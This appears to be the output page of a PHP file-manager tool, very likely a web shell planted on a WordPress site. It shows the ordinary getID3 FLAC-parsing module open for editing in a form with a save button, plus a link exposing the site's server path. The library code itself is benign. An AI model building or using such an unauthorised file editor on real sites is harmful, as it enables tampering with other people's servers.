?<h3>D¨ızenle: module.audio.flac.php</h3>
        <form method='POST'>
        <textarea name='edit' style='width:100%;height:400px;font-family:monospace'>&lt;?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich &lt;info@getid3.org&gt;               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio.flac.php                                       //
// module for analyzing FLAC and OggFLAC audio files           //
// dependencies: module.audio.ogg.php                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined(&#039;GETID3_INCLUDEPATH&#039;)) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.&#039;module.audio.ogg.php&#039;, __FILE__, true);

/**
* @tutorial http://flac.sourceforge.net/format.html
*/
class getid3_flac extends getid3_handler
{
	const syncword = &#039;fLaC&#039;;

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &amp;$this-&gt;getid3-&gt;info;

		$this-&gt;fseek($info[&#039;avdataoffset&#039;]);
		$StreamMarker = $this-&gt;fread(4);
		if ($StreamMarker != self::syncword) {
			return $this-&gt;error(&#039;Expecting &quot;&#039;.getid3_lib::PrintHexBytes(self::syncword).&#039;&quot; at offset &#039;.$info[&#039;avdataoffset&#039;].&#039;, found &quot;&#039;.getid3_lib::PrintHexBytes($StreamMarker).&#039;&quot;&#039;);
		}
		$info[&#039;fileformat&#039;]            = &#039;flac&#039;;
		$info[&#039;audio&#039;][&#039;dataformat&#039;]   = &#039;flac&#039;;
		$info[&#039;audio&#039;][&#039;bitrate_mode&#039;] = &#039;vbr&#039;;
		$info[&#039;audio&#039;][&#039;lossless&#039;]     = true;

		// parse flac container
		return $this-&gt;parseMETAdata();
	}

	/**
	 * @return bool
	 */
	public function parseMETAdata() {
		$info = &amp;$this-&gt;getid3-&gt;info;
		do {
			$BlockOffset   = $this-&gt;ftell();
			$BlockHeader   = $this-&gt;fread(4);
			$LBFBT         = getid3_lib::BigEndian2Int(substr($BlockHeader, 0, 1));  // LBFBT = LastBlockFlag + BlockType
			$LastBlockFlag = (bool) ($LBFBT &amp; 0x80);
			$BlockType     =        ($LBFBT &amp; 0x7F);
			$BlockLength   = getid3_lib::BigEndian2Int(substr($BlockHeader, 1, 3));
			$BlockTypeText = self::metaBlockTypeLookup($BlockType);

			if (($BlockOffset + 4 + $BlockLength) &gt; $info[&#039;avdataend&#039;]) {
				$this-&gt;warning(&#039;METADATA_BLOCK_HEADER.BLOCK_TYPE (&#039;.$BlockTypeText.&#039;) at offset &#039;.$BlockOffset.&#039; extends beyond end of file&#039;);
				break;
			}
			if ($BlockLength &lt; 1) {
				if ($BlockTypeText != &#039;reserved&#039;) {
					// probably supposed to be zero-length
					$this-&gt;warning(&#039;METADATA_BLOCK_HEADER.BLOCK_LENGTH (&#039;.$BlockTypeText.&#039;) at offset &#039;.$BlockOffset.&#039; is zero bytes&#039;);
					continue;
				}
				$this-&gt;error(&#039;METADATA_BLOCK_HEADER.BLOCK_LENGTH (&#039;.$BlockLength.&#039;) at offset &#039;.$BlockOffset.&#039; is invalid&#039;);
				break;
			}

			$info[&#039;flac&#039;][$BlockTypeText][&#039;raw&#039;] = array();
			$BlockTypeText_raw = &amp;$info[&#039;flac&#039;][$BlockTypeText][&#039;raw&#039;];

			$BlockTypeText_raw[&#039;offset&#039;]          = $BlockOffset;
			$BlockTypeText_raw[&#039;last_meta_block&#039;] = $LastBlockFlag;
			$BlockTypeText_raw[&#039;block_type&#039;]      = $BlockType;
			$BlockTypeText_raw[&#039;block_type_text&#039;] = $BlockTypeText;
			$BlockTypeText_raw[&#039;block_length&#039;]    = $BlockLength;
			if ($BlockTypeText_raw[&#039;block_type&#039;] != 0x06) { // do not read attachment data automatically
				$BlockTypeText_raw[&#039;block_data&#039;]  = $this-&gt;fread($BlockLength);
			}

			switch ($BlockTypeText) {
				case &#039;STREAMINFO&#039;:     // 0x00
					if (!$this-&gt;parseSTREAMINFO($BlockTypeText_raw[&#039;block_data&#039;])) {
						return false;
					}
					break;

				case &#039;PADDING&#039;:        // 0x01
					unset($info[&#039;flac&#039;][&#039;PADDING&#039;]); // ignore
					break;

				case &#039;APPLICATION&#039;:    // 0x02
					if (!$this-&gt;parseAPPLICATION($BlockTypeText_raw[&#039;block_data&#039;])) {
						return false;
					}
					break;

				case &#039;SEEKTABLE&#039;:      // 0x03
					if (!$this-&gt;parseSEEKTABLE($BlockTypeText_raw[&#039;block_data&#039;])) {
						return false;
					}
					break;

				case &#039;VORBIS_COMMENT&#039;: // 0x04
					if (!$this-&gt;parseVORBIS_COMMENT($BlockTypeText_raw[&#039;block_data&#039;])) {
						return false;
					}
					break;

				case &#039;CUESHEET&#039;:       // 0x05
					if (!$this-&gt;parseCUESHEET($BlockTypeText_raw[&#039;block_data&#039;])) {
						return false;
					}
					break;

				case &#039;PICTURE&#039;:        // 0x06
					if (!$this-&gt;parsePICTURE()) {
						return false;
					}
					break;

				default:
					$this-&gt;warning(&#039;Unhandled METADATA_BLOCK_HEADER.BLOCK_TYPE (&#039;.$BlockType.&#039;) at offset &#039;.$BlockOffset);
			}

			unset($info[&#039;flac&#039;][$BlockTypeText][&#039;raw&#039;]);
			$info[&#039;avdataoffset&#039;] = $this-&gt;ftell();
		}
		while ($LastBlockFlag === false);

		// handle tags
		if (!empty($info[&#039;flac&#039;][&#039;VORBIS_COMMENT&#039;][&#039;comments&#039;])) {
			$info[&#039;flac&#039;][&#039;comments&#039;] = $info[&#039;flac&#039;][&#039;VORBIS_COMMENT&#039;][&#039;comments&#039;];
		}
		if (!empty($info[&#039;flac&#039;][&#039;VORBIS_COMMENT&#039;][&#039;vendor&#039;])) {
			$info[&#039;audio&#039;][&#039;encoder&#039;] = str_replace(&#039;reference &#039;, &#039;&#039;, $info[&#039;flac&#039;][&#039;VORBIS_COMMENT&#039;][&#039;vendor&#039;]);
		}

		// copy attachments to &#039;comments&#039; array if nesesary
		if (isset($info[&#039;flac&#039;][&#039;PICTURE&#039;]) &amp;&amp; ($this-&gt;getid3-&gt;option_save_attachments !== getID3::ATTACHMENTS_NONE)) {
			foreach ($info[&#039;flac&#039;][&#039;PICTURE&#039;] as $entry) {
				if (!empty($entry[&#039;data&#039;])) {
					if (!isset($info[&#039;flac&#039;][&#039;comments&#039;][&#039;picture&#039;])) {
						$info[&#039;flac&#039;][&#039;comments&#039;][&#039;picture&#039;] = array();
					}
					$comments_picture_data = array();
					foreach (array(&#039;data&#039;, &#039;image_mime&#039;, &#039;image_width&#039;, &#039;image_height&#039;, &#039;imagetype&#039;, &#039;picturetype&#039;, &#039;description&#039;, &#039;datalength&#039;) as $picture_key) {
						if (isset($entry[$picture_key])) {
							$comments_picture_data[$picture_key] = $entry[$picture_key];
						}
					}
					$info[&#039;flac&#039;][&#039;comments&#039;][&#039;picture&#039;][] = $comments_picture_data;
					unset($comments_picture_data);
				}
			}
		}

		if (isset($info[&#039;flac&#039;][&#039;STREAMINFO&#039;])) {
			if (!$this-&gt;isDependencyFor(&#039;matroska&#039;)) {
				$info[&#039;flac&#039;][&#039;compressed_audio_bytes&#039;] = $info[&#039;avdataend&#039;] - $info[&#039;avdataoffset&#039;];
			}
			$info[&#039;flac&#039;][&#039;uncompressed_audio_bytes&#039;] = $info[&#039;flac&#039;][&#039;STREAMINFO&#039;][&#039;samples_stream&#039;] * $info[&#039;flac&#039;][&#039;STREAMINFO&#039;][&#039;channels&#039;] * ($info[&#039;flac&#039;][&#039;STREAMINFO&#039;][&#039;bits_per_sample&#039;] / 8);
			if ($info[&#039;flac&#039;][&#039;uncompressed_audio_bytes&#039;] == 0) {
				return $this-&gt;error(&#039;Corrupt FLAC file: uncompressed_audio_bytes == zero&#039;);
			}
			if (!empty($info[&#039;flac&#039;][&#039;compressed_audio_bytes&#039;])) {
				$info[&#039;flac&#039;][&#039;compression_ratio&#039;] = $info[&#039;flac&#039;][&#039;compressed_audio_bytes&#039;] / $info[&#039;flac&#039;][&#039;uncompressed_audio_bytes&#039;];
			}
		}

		// set md5_data_source - built into flac 0.5+
		if (isset($info[&#039;flac&#039;][&#039;STREAMINFO&#039;][&#039;audio_signature&#039;])) {

			if ($info[&#039;flac&#039;][&#039;STREAMINFO&#039;][&#039;audio_signature&#039;] === str_repeat(&quot;\x00&quot;, 16)) {
				$this-&gt;warning(&#039;FLAC STREAMINFO.audio_signature is null (known issue with libOggFLAC)&#039;);
			}
			else {
				$info[&#039;md5_data_source&#039;] = &#039;&#039;;
				$md5 = $info[&#039;flac&#039;][&#039;STREAMINFO&#039;][&#039;audio_signature&#039;];
				for ($i = 0; $i &lt; strlen($md5); $i++) {
					$info[&#039;md5_data_source&#039;] .= str_pad(dechex(ord($md5[$i])), 2, &#039;00&#039;, STR_PAD_LEFT);
				}
				if (!preg_match(&#039;/^[0-9a-f]{32}$/&#039;, $info[&#039;md5_data_source&#039;])) {
					unset($info[&#039;md5_data_source&#039;]);
				}
			}
		}

		if (isset($info[&#039;flac&#039;][&#039;STREAMINFO&#039;][&#039;bits_per_sample&#039;])) {
			$info[&#039;audio&#039;][&#039;bits_per_sample&#039;] = $info[&#039;flac&#039;][&#039;STREAMINFO&#039;][&#039;bits_per_sample&#039;];
			if ($info[&#039;audio&#039;][&#039;bits_per_sample&#039;] == 8) {
				// special case
				// must invert sign bit on all data bytes before MD5&#039;ing to match FLAC&#039;s calculated value
				// MD5sum calculates on unsigned bytes, but FLAC calculated MD5 on 8-bit audio data as signed
				$this-&gt;warning(&#039;FLAC calculates MD5 data strangely on 8-bit audio, so the stored md5_data_source value will not match the decoded WAV file&#039;);
			}
		}

		return true;
	}


	/**
	 * @param string $BlockData
	 *
	 * @return array
	 */
	public static function parseSTREAMINFOdata($BlockData) {
		$streaminfo = array();
		$streaminfo[&#039;min_block_size&#039;]  = getid3_lib::BigEndian2Int(substr($BlockData, 0, 2));
		$streaminfo[&#039;max_block_size&#039;]  = getid3_lib::BigEndian2Int(substr($BlockData, 2, 2));
		$streaminfo[&#039;min_frame_size&#039;]  = getid3_lib::BigEndian2Int(substr($BlockData, 4, 3));
		$streaminfo[&#039;max_frame_size&#039;]  = getid3_lib::BigEndian2Int(substr($BlockData, 7, 3));

		$SRCSBSS                       = getid3_lib::BigEndian2Bin(substr($BlockData, 10, 8));
		$streaminfo[&#039;sample_rate&#039;]     = getid3_lib::Bin2Dec(substr($SRCSBSS,  0, 20));
		$streaminfo[&#039;channels&#039;]        = getid3_lib::Bin2Dec(substr($SRCSBSS, 20,  3)) + 1;
		$streaminfo[&#039;bits_per_sample&#039;] = getid3_lib::Bin2Dec(substr($SRCSBSS, 23,  5)) + 1;
		$streaminfo[&#039;samples_stream&#039;]  = getid3_lib::Bin2Dec(substr($SRCSBSS, 28, 36));

		$streaminfo[&#039;audio_signature&#039;] =                           substr($BlockData, 18, 16);

		return $streaminfo;
	}

	/**
	 * @param string $BlockData
	 *
	 * @return bool
	 */
	private function parseSTREAMINFO($BlockData) {
		$info = &amp;$this-&gt;getid3-&gt;info;

		$info[&#039;flac&#039;][&#039;STREAMINFO&#039;] = self::parseSTREAMINFOdata($BlockData);

		if (!empty($info[&#039;flac&#039;][&#039;STREAMINFO&#039;][&#039;sample_rate&#039;])) {

			$info[&#039;audio&#039;][&#039;bitrate_mode&#039;]    = &#039;vbr&#039;;
			$info[&#039;audio&#039;][&#039;sample_rate&#039;]     = $info[&#039;flac&#039;][&#039;STREAMINFO&#039;][&#039;sample_rate&#039;];
			$info[&#039;audio&#039;][&#039;channels&#039;]        = $info[&#039;flac&#039;][&#039;STREAMINFO&#039;][&#039;channels&#039;];
			$info[&#039;audio&#039;][&#039;bits_per_sample&#039;] = $info[&#039;flac&#039;][&#039;STREAMINFO&#039;][&#039;bits_per_sample&#039;];
			$info[&#039;playtime_seconds&#039;]         = $info[&#039;flac&#039;][&#039;STREAMINFO&#039;][&#039;samples_stream&#039;] / $info[&#039;flac&#039;][&#039;STREAMINFO&#039;][&#039;sample_rate&#039;];
			if ($info[&#039;playtime_seconds&#039;] &gt; 0) {
				if (!$this-&gt;isDependencyFor(&#039;matroska&#039;)) {
					$info[&#039;audio&#039;][&#039;bitrate&#039;] = (($info[&#039;avdataend&#039;] - $info[&#039;avdataoffset&#039;]) * 8) / $info[&#039;playtime_seconds&#039;];
				}
				else {
					$this-&gt;warning(&#039;Cannot determine audio bitrate because total stream size is unknown&#039;);
				}
			}

		} else {
			return $this-&gt;error(&#039;Corrupt METAdata block: STREAMINFO&#039;);
		}

		return true;
	}

	/**
	 * @param string $BlockData
	 *
	 * @return bool
	 */
	private function parseAPPLICATION($BlockData) {
		$info = &amp;$this-&gt;getid3-&gt;info;

		$ApplicationID = getid3_lib::BigEndian2Int(substr($BlockData, 0, 4));
		$info[&#039;flac&#039;][&#039;APPLICATION&#039;][$ApplicationID][&#039;name&#039;] = self::applicationIDLookup($ApplicationID);
		$info[&#039;flac&#039;][&#039;APPLICATION&#039;][$ApplicationID][&#039;data&#039;] = substr($BlockData, 4);

		return true;
	}

	/**
	 * @param string $BlockData
	 *
	 * @return bool
	 */
	private function parseSEEKTABLE($BlockData) {
		$info = &amp;$this-&gt;getid3-&gt;info;

		$offset = 0;
		$BlockLength = strlen($BlockData);
		$placeholderpattern = str_repeat(&quot;\xFF&quot;, 8);
		while ($offset &lt; $BlockLength) {
			$SampleNumberString = substr($BlockData, $offset, 8);
			$offset += 8;
			if ($SampleNumberString == $placeholderpattern) {

				// placeholder point
				getid3_lib::safe_inc($info[&#039;flac&#039;][&#039;SEEKTABLE&#039;][&#039;placeholders&#039;], 1);
				$offset += 10;

			} else {

				$SampleNumber                                        = getid3_lib::BigEndian2Int($SampleNumberString);
				$info[&#039;flac&#039;][&#039;SEEKTABLE&#039;][$SampleNumber][&#039;offset&#039;]  = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
				$offset += 8;
				$info[&#039;flac&#039;][&#039;SEEKTABLE&#039;][$SampleNumber][&#039;samples&#039;] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 2));
				$offset += 2;

			}
		}

		return true;
	}

	/**
	 * @param string $BlockData
	 *
	 * @return bool
	 */
	private function parseVORBIS_COMMENT($BlockData) {
		$info = &amp;$this-&gt;getid3-&gt;info;

		$getid3_ogg = new getid3_ogg($this-&gt;getid3);
		if ($this-&gt;isDependencyFor(&#039;matroska&#039;)) {
			$getid3_ogg-&gt;setStringMode($this-&gt;data_string);
		}
		$getid3_ogg-&gt;ParseVorbisComments();
		if (isset($info[&#039;ogg&#039;])) {
			unset($info[&#039;ogg&#039;][&#039;comments_raw&#039;]);
			$info[&#039;flac&#039;][&#039;VORBIS_COMMENT&#039;] = $info[&#039;ogg&#039;];
			unset($info[&#039;ogg&#039;]);
		}

		unset($getid3_ogg);

		return true;
	}

	/**
	 * @param string $BlockData
	 *
	 * @return bool
	 */
	private function parseCUESHEET($BlockData) {
		$info = &amp;$this-&gt;getid3-&gt;info;
		$offset = 0;
		$info[&#039;flac&#039;][&#039;CUESHEET&#039;][&#039;media_catalog_number&#039;] =                              trim(substr($BlockData, $offset, 128), &quot;\0&quot;);
		$offset += 128;
		$info[&#039;flac&#039;][&#039;CUESHEET&#039;][&#039;lead_in_samples&#039;]      =         getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
		$offset += 8;
		$info[&#039;flac&#039;][&#039;CUESHEET&#039;][&#039;flags&#039;][&#039;is_cd&#039;]       = (bool) (getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)) &amp; 0x80);
		$offset += 1;

		$offset += 258; // reserved

		$info[&#039;flac&#039;][&#039;CUESHEET&#039;][&#039;number_tracks&#039;]        =         getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
		$offset += 1;

		for ($track = 0; $track &lt; $info[&#039;flac&#039;][&#039;CUESHEET&#039;][&#039;number_tracks&#039;]; $track++) {
			$TrackSampleOffset = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
			$offset += 8;
			$TrackNumber       = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
			$offset += 1;

			$info[&#039;flac&#039;][&#039;CUESHEET&#039;][&#039;tracks&#039;][$TrackNumber][&#039;sample_offset&#039;]         = $TrackSampleOffset;

			$info[&#039;flac&#039;][&#039;CUESHEET&#039;][&#039;tracks&#039;][$TrackNumber][&#039;isrc&#039;]                  =                           substr($BlockData, $offset, 12);
			$offset += 12;

			$TrackFlagsRaw                                                             = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
			$offset += 1;
			$info[&#039;flac&#039;][&#039;CUESHEET&#039;][&#039;tracks&#039;][$TrackNumber][&#039;flags&#039;][&#039;is_audio&#039;]     = (bool) ($TrackFlagsRaw &amp; 0x80);
			$info[&#039;flac&#039;][&#039;CUESHEET&#039;][&#039;tracks&#039;][$TrackNumber][&#039;flags&#039;][&#039;pre_emphasis&#039;] = (bool) ($TrackFlagsRaw &amp; 0x40);

			$offset += 13; // reserved

			$info[&#039;flac&#039;][&#039;CUESHEET&#039;][&#039;tracks&#039;][$TrackNumber][&#039;index_points&#039;]          = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
			$offset += 1;

			for ($index = 0; $index &lt; $info[&#039;flac&#039;][&#039;CUESHEET&#039;][&#039;tracks&#039;][$TrackNumber][&#039;index_points&#039;]; $index++) {
				$IndexSampleOffset = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
				$offset += 8;
				$IndexNumber       = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
				$offset += 1;

				$offset += 3; // reserved

				$info[&#039;flac&#039;][&#039;CUESHEET&#039;][&#039;tracks&#039;][$TrackNumber][&#039;indexes&#039;][$IndexNumber] = $IndexSampleOffset;
			}
		}

		return true;
	}

	/**
	 * Parse METADATA_BLOCK_PICTURE flac structure and extract attachment
	 * External usage: audio.ogg
	 *
	 * @return bool
	 */
	public function parsePICTURE() {
		$info = &amp;$this-&gt;getid3-&gt;info;

		$picture = array();
		$picture[&#039;typeid&#039;]         = getid3_lib::BigEndian2Int($this-&gt;fread(4));
		$picture[&#039;picturetype&#039;]    = self::pictureTypeLookup($picture[&#039;typeid&#039;]);
		$picture[&#039;image_mime&#039;]     = $this-&gt;fread(getid3_lib::BigEndian2Int($this-&gt;fread(4)));
		$descr_length              = getid3_lib::BigEndian2Int($this-&gt;fread(4));
		if ($descr_length) {
			$picture[&#039;description&#039;] = $this-&gt;fread($descr_length);
		}
		$picture[&#039;image_width&#039;]    = getid3_lib::BigEndian2Int($this-&gt;fread(4));
		$picture[&#039;image_height&#039;]   = getid3_lib::BigEndian2Int($this-&gt;fread(4));
		$picture[&#039;color_depth&#039;]    = getid3_lib::BigEndian2Int($this-&gt;fread(4));
		$picture[&#039;colors_indexed&#039;] = getid3_lib::BigEndian2Int($this-&gt;fread(4));
		$picture[&#039;datalength&#039;]     = getid3_lib::BigEndian2Int($this-&gt;fread(4));

		if ($picture[&#039;image_mime&#039;] == &#039;--&gt;&#039;) {
			$picture[&#039;data&#039;] = $this-&gt;fread($picture[&#039;datalength&#039;]);
		} else {
			$picture[&#039;data&#039;] = $this-&gt;saveAttachment(
				str_replace(&#039;/&#039;, &#039;_&#039;, $picture[&#039;picturetype&#039;]).&#039;_&#039;.$this-&gt;ftell(),
				$this-&gt;ftell(),
				$picture[&#039;datalength&#039;],
				$picture[&#039;image_mime&#039;]);
		}

		$info[&#039;flac&#039;][&#039;PICTURE&#039;][] = $picture;

		return true;
	}

	/**
	 * @param int $blocktype
	 *
	 * @return string
	 */
	public static function metaBlockTypeLookup($blocktype) {
		static $lookup = array(
			0 =&gt; &#039;STREAMINFO&#039;,
			1 =&gt; &#039;PADDING&#039;,
			2 =&gt; &#039;APPLICATION&#039;,
			3 =&gt; &#039;SEEKTABLE&#039;,
			4 =&gt; &#039;VORBIS_COMMENT&#039;,
			5 =&gt; &#039;CUESHEET&#039;,
			6 =&gt; &#039;PICTURE&#039;,
		);
		return (isset($lookup[$blocktype]) ? $lookup[$blocktype] : &#039;reserved&#039;);
	}

	/**
	 * @param int $applicationid
	 *
	 * @return string
	 */
	public static function applicationIDLookup($applicationid) {
		// http://flac.sourceforge.net/id.html
		static $lookup = array(
			0x41544348 =&gt; &#039;FlacFile&#039;,                                                                           // &quot;ATCH&quot;
			0x42534F4C =&gt; &#039;beSolo&#039;,                                                                             // &quot;BSOL&quot;
			0x42554753 =&gt; &#039;Bugs Player&#039;,                                                                        // &quot;BUGS&quot;
			0x43756573 =&gt; &#039;GoldWave cue points (specification)&#039;,                                                // &quot;Cues&quot;
			0x46696361 =&gt; &#039;CUE Splitter&#039;,                                                                       // &quot;Fica&quot;
			0x46746F6C =&gt; &#039;flac-tools&#039;,                                                                         // &quot;Ftol&quot;
			0x4D4F5442 =&gt; &#039;MOTB MetaCzar&#039;,                                                                      // &quot;MOTB&quot;
			0x4D505345 =&gt; &#039;MP3 Stream Editor&#039;,                                                                  // &quot;MPSE&quot;
			0x4D754D4C =&gt; &#039;MusicML: Music Metadata Language&#039;,                                                   // &quot;MuML&quot;
			0x52494646 =&gt; &#039;Sound Devices RIFF chunk storage&#039;,                                                   // &quot;RIFF&quot;
			0x5346464C =&gt; &#039;Sound Font FLAC&#039;,                                                                    // &quot;SFFL&quot;
			0x534F4E59 =&gt; &#039;Sony Creative Software&#039;,                                                             // &quot;SONY&quot;
			0x5351455A =&gt; &#039;flacsqueeze&#039;,                                                                        // &quot;SQEZ&quot;
			0x54745776 =&gt; &#039;TwistedWave&#039;,                                                                        // &quot;TtWv&quot;
			0x55495453 =&gt; &#039;UITS Embedding tools&#039;,                                                               // &quot;UITS&quot;
			0x61696666 =&gt; &#039;FLAC AIFF chunk storage&#039;,                                                            // &quot;aiff&quot;
			0x696D6167 =&gt; &#039;flac-image application for storing arbitrary files in APPLICATION metadata blocks&#039;,  // &quot;imag&quot;
			0x7065656D =&gt; &#039;Parseable Embedded Extensible Metadata (specification)&#039;,                             // &quot;peem&quot;
			0x71667374 =&gt; &#039;QFLAC Studio&#039;,                                                                       // &quot;qfst&quot;
			0x72696666 =&gt; &#039;FLAC RIFF chunk storage&#039;,                                                            // &quot;riff&quot;
			0x74756E65 =&gt; &#039;TagTuner&#039;,                                                                           // &quot;tune&quot;
			0x78626174 =&gt; &#039;XBAT&#039;,                                                                               // &quot;xbat&quot;
			0x786D6364 =&gt; &#039;xmcd&#039;,                                                                               // &quot;xmcd&quot;
		);
		return (isset($lookup[$applicationid]) ? $lookup[$applicationid] : &#039;reserved&#039;);
	}

	/**
	 * @param int $type_id
	 *
	 * @return string
	 */
	public static function pictureTypeLookup($type_id) {
		static $lookup = array (
			 0 =&gt; &#039;Other&#039;,
			 1 =&gt; &#039;32x32 pixels \&#039;file icon\&#039; (PNG only)&#039;,
			 2 =&gt; &#039;Other file icon&#039;,
			 3 =&gt; &#039;Cover (front)&#039;,
			 4 =&gt; &#039;Cover (back)&#039;,
			 5 =&gt; &#039;Leaflet page&#039;,
			 6 =&gt; &#039;Media (e.g. label side of CD)&#039;,
			 7 =&gt; &#039;Lead artist/lead performer/soloist&#039;,
			 8 =&gt; &#039;Artist/performer&#039;,
			 9 =&gt; &#039;Conductor&#039;,
			10 =&gt; &#039;Band/Orchestra&#039;,
			11 =&gt; &#039;Composer&#039;,
			12 =&gt; &#039;Lyricist/text writer&#039;,
			13 =&gt; &#039;Recording Location&#039;,
			14 =&gt; &#039;During recording&#039;,
			15 =&gt; &#039;During performance&#039;,
			16 =&gt; &#039;Movie/video screen capture&#039;,
			17 =&gt; &#039;A bright coloured fish&#039;,
			18 =&gt; &#039;Illustration&#039;,
			19 =&gt; &#039;Band/artist logotype&#039;,
			20 =&gt; &#039;Publisher/Studio logotype&#039;,
		);
		return (isset($lookup[$type_id]) ? $lookup[$type_id] : &#039;reserved&#039;);
	}

}
</textarea><br><br>
        <button>Kaydet</button>
        </form><a href='?path=%2Fhome%2Fm.elifov%2Fstudyondalinda.com%2Fwp-includes'>?? Yukar?</a>